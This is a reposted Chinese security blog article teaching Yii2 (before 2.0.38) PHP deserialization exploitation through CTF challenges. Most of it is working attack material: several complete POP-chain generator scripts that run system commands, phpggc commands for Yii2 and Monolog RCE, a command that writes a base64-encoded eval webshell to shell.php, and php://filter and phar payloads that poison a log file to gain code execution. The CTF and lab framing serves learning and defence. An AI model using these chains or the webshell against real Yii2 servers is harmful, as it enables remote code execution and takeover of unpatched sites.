7

通过几道CTF题学习yii2框架

 3 years ago
source link: https://www.secpulse.com/archives/161161.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2利用链以及如何自己去构造payload,并结合CTF题目去学习yii2框架

Yii2<2.0.38反序列化

安装:在 https://github.com/yiisoft/yii2/releases 下载2.0.37的版本

然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值,运行 php yii serve,新建一个控制器

yii-basic-app-2.0.37\basic\controllers\TestController.php

<?php
namespace app\controllers;
use yii\web\Controller;

class TestController extends Controller{
   public function actionTest($name){
       return unserialize($name);
   }
}

就可以进行测试了

?r=test/test&name=

链的入口在

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php

public function __destruct()
   {
       // make sure cursor is closed
       $this->reset();
   }

跟进$this->reset();

public function reset()
   {
       if ($this->_dataReader !== null) {
           $this->_dataReader->close();
       }

这里的$this->_dataReader可控,并调用了close()方法,那么可以找到一个类不存在close()方法,但存在__call方法就可以调用他了

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php

public function __call($method, $attributes)
   {
       return $this->format($method, $attributes);
   }

这里的$methodclose$attributes为空,继续跟进format

public function format($formatter, $arguments = array())
   {
       return call_user_func_array($this->getFormatter($formatter), $arguments);
   }

跟进getFormatter

public function getFormatter($formatter)
   {
       if (isset($this->formatters[$formatter])) {
           return $this->formatters[$formatter];
       }

似曾相识的代码,laravel5.8某条链就出现过,这里$this->formatters可控,也就是$this->getFormatter($formatter)这这个可控,但是$arguments的值我们无法控制,值为空

到这里可以执行phpinfo

<?php
namespace yii\db{
   class BatchQueryResult{
       private $_dataReader;
       public function __construct($_dataReader) {
           $this->_dataReader = $_dataReader;
       }
   }
}
namespace Faker{
   class Generator{
       protected $formatters = array();
       public function __construct($formatters) {
           $this->formatters = $formatters;
       }
   }
}
namespace {
   $a = new Faker\Generator(array('close'=>'phpinfo'));
   $b = new yii\db\BatchQueryResult($a);
   print(urlencode(serialize($b)));
}

但是我们想要rce的话,还要在yii2中已有的无参方法中进行挖掘

这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数

call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

然后找到下面两个都比较好用

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php
public function run()
   {
       if ($this->checkAccess) {
           call_user_func($this->checkAccess, $this->id);
       }

return $this->prepareDataProvider();
   }

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php
public function run()
{
   if ($this->checkAccess) {
       call_user_func($this->checkAccess, $this->id);
}

这里的$this->checkAccess$this->id都是我们可控的

所以直接构造就行了

<?php
namespace yii\db{
   class BatchQueryResult{
       private $_dataReader;
       public function __construct($_dataReader) {
           $this->_dataReader = $_dataReader;
       }
   }
}
namespace Faker{
   class Generator{
       protected $formatters = array();
       public function __construct($formatters) {
           $this->formatters = $formatters;
       }
   }
}
namespace yii\rest{
   class CreateAction{
       public $checkAccess;
       public $id;
       public function __construct($checkAccess,$id){
           $this->checkAccess = $checkAccess;
           $this->id = $id;
       }
   }
}
namespace {
   $c = new yii\rest\CreateAction('system','whoami');
   $b = new Faker\Generator(array('close'=>array($c, 'run')));
   $a = new yii\db\BatchQueryResult($b);
   print(urlencode(serialize($a)));
}

这个是yii2 2.0.37的另外一条链

起点和链一相同,是BatchQueryResult类的__destruct,然后是$this->_dataReader->close(),但是这里不找__call,我们去找存在close方法的类

找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php

class DbSession extends MultiFieldSession
{
...
public function close()
   {
       if ($this->getIsActive()) {
           // prepare writeCallback fields before session closes
           $this->fields = $this->composeFields();

这里跟进$this->composeFields()

abstract class MultiFieldSession extends Session
{
protected function composeFields($id = null, $data = null)
   {
       $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];

这里$this->writeCallback可控,$this是一个对象,所以这里调phpinfo的话应该不行,不过可以续上链一的run方法(即那个无参的方法)

这里直接构造即可

<?php
namespace yii\db{
   class BatchQueryResult{
       private $_dataReader;
       public function __construct($_dataReader) {
           $this->_dataReader = $_dataReader;
       }
   }
}
namespace yii\web{
   class DbSession{
       public $writeCallback;
       public function __construct($writeCallback) {
           $this->writeCallback = $writeCallback;
       }
   }
}
namespace yii\rest{
   class CreateAction{
       public $checkAccess;
       public $id;
       public function __construct($checkAccess,$id){
           $this->checkAccess = $checkAccess;
           $this->id = $id;
       }
   }
}
namespace {
   $c = new yii\rest\CreateAction('system','whoami');
   $b = new yii\web\DbSession(array($c, 'run'));
   $a = new yii\db\BatchQueryResult($b);
   print(urlencode(serialize($a)));
}

我们可以在yii2 2.0.38commit看到他加了一个__wakeup

这里限制了链一的起点BatchQueryResult无法使用,后面的__call的链没有被破坏,所以我们继续寻找一个__destruct

yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php

public function __destruct()
   {
       $this->stopProcess();
   }

这里继续跟进stopProcess

public function stopProcess()
   {
       foreach (array_reverse($this->processes) as $process) {
           /** @var $process Process  **/
           if (!$process->isRunning()) {
               continue;
           }

这里的$this->processes可控,所以可以利用$process->isRunning()来进行触发__call

后面的利用就和链一相同了

<?php
namespace Codeception\Extension{
   class RunProcess{
       private $processes = [];
       public function __construct($processes) {
           $this->processes[] = $processes;
       }
   }
}
namespace Faker{
   class Generator{
       protected $formatters = array();
       public function __construct($formatters) {
           $this->formatters = $formatters;
       }
   }
}
namespace yii\rest{
   class CreateAction{
       public $checkAccess;
       public $id;
       public function __construct($checkAccess,$id){
           $this->checkAccess = $checkAccess;
           $this->id = $id;
       }
   }
}
namespace {
   $c = new yii\rest\CreateAction('system','whoami');
   $b = new Faker\Generator(array('isRunning'=>array($c, 'run')));
   $a = new Codeception\Extension\RunProcess($b);
   print(urlencode(serialize($a)));
}

同样的先找__destruct

yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php

public function __destruct()
   {
       foreach ($this->keys as $nsKey => $null) {
           $this->clearAll($nsKey);
       }
   }

这里$nsKey可控,跟进clearAll

public function clearAll($nsKey)
   {
       if (array_key_exists($nsKey, $this->keys)) {
           foreach ($this->keys[$nsKey] as $itemKey => $null) {
               $this->clearKey($nsKey, $itemKey);
           }
           if (is_dir($this->path.'/'.$nsKey)) {
               rmdir($this->path.'/'.$nsKey);
           }
           unset($this->keys[$nsKey]);
       }
   }

这里没有触发__call的地方,但是存在字符串的拼接,可以触发__toString

随便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php

public function __toString()
{
   return $this->__dom__->saveXML();
}

同样用他去触发__call

<?php
namespace {
   class Swift_KeyCache_DiskKeyCache{
       private $path;
       private $keys = [];
       public function __construct($path,$keys) {
           $this->path = $path;
           $this->keys = $keys;
       }
   }
}
namespace Codeception\Util{
   class XmlBuilder{
       protected $__dom__;
       public function __construct($__dom__) {
           $this->__dom__ = $__dom__;
       }
   }
}
namespace Faker{
   class Generator{
       protected $formatters = array();
       public function __construct($formatters) {
           $this->formatters = $formatters;
       }
   }
}
namespace yii\rest{
   class CreateAction{
       public $checkAccess;
       public $id;
       public function __construct($checkAccess,$id){
           $this->checkAccess = $checkAccess;
           $this->id = $id;
       }
   }
}
namespace {
   $c = new yii\rest\CreateAction('system','whoami');
   $b = new Faker\Generator(array('saveXML'=>array($c,'run')));
   $a = new Codeception\Util\XmlBuilder($b);
   $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));
   print(urlencode(serialize($d)));
}

phpggc

使用./phpggc -l yii2可以看到有两条yii2的链

可以使用如下命令快速得到链,-uurl编码

./phpggc Yii2/RCE1 system id -u

phpggc的链二的终点是一个eval,所以这里可以直接写shell-bbase64编码

./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b

CTF题目

[HMBCTF 2021]framework

把题目附件解压,看到html\controllers\SiteController.php

class SiteController extends Controller
{
   public function actionAbout($message = 'Hello')
   {
       $data = base64_decode($message);
       unserialize($data);
   }

这里可以这样传参

?r=site/about&message=

拿链一打了一下,发现一下system等函数被ban

这里用phpggc yii2的链二写一个shell进去,然后用蚁剑的 apache/moddisable,运行 /readflag 即可获取 flag

[CISCN2021 Quals]filter

据说这是配置文件里面的重要内容,或许对你有用!!

        'log' => [
           'traceLevel' => YII_DEBUG ? 0 : 0,
           'targets' => [
               [
                   'class' => 'yii\log\FileTarget',
                   'levels' => ['error'],
                   'logVars' => [],
               ],
           ],
       ],

看到附件的SiteController.php就改了这个地方

public function actionIndex()
   {
       $file = Yii::$app->request->get('file');
       $res = file_get_contents($file);
       file_put_contents($file,$res);
       return $this->render('index');
   }

yii框架的runtime/logs目录下有一个app.log

看一下依赖发现monolog符合

"require": {
       "php": ">=5.6.0",
       "yiisoft/yii2": "~2.0.14",
       "yiisoft/yii2-bootstrap": "~2.0.0",
       "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0",
   "monolog/monolog":"1.19"
   },

首先清空日志文件

?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

phpggc生成

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"

写入日志,注意最后面要加个字符a

/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=4A=00=41=00=61=00=47=00=73=00=75=00=53=00=31=00=47=00=68=00=54=00=49=00=2B=00=6B=00=4B=00=58=00=33=00=45=00=68=00=2B=00=4D=00=44=00=71=00=54=00=76=00=6E=00=6F=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a

保留phar的内容

/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

最后用phar协议打一下

/?file=phar://../runtime/logs/app.log/test.txt

然后在根目录找到This_is_flaaagggg

然后用这个找一下flag即可

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"

本文涉及相关实验:PHP反序列化漏洞实验 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/161161.html


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK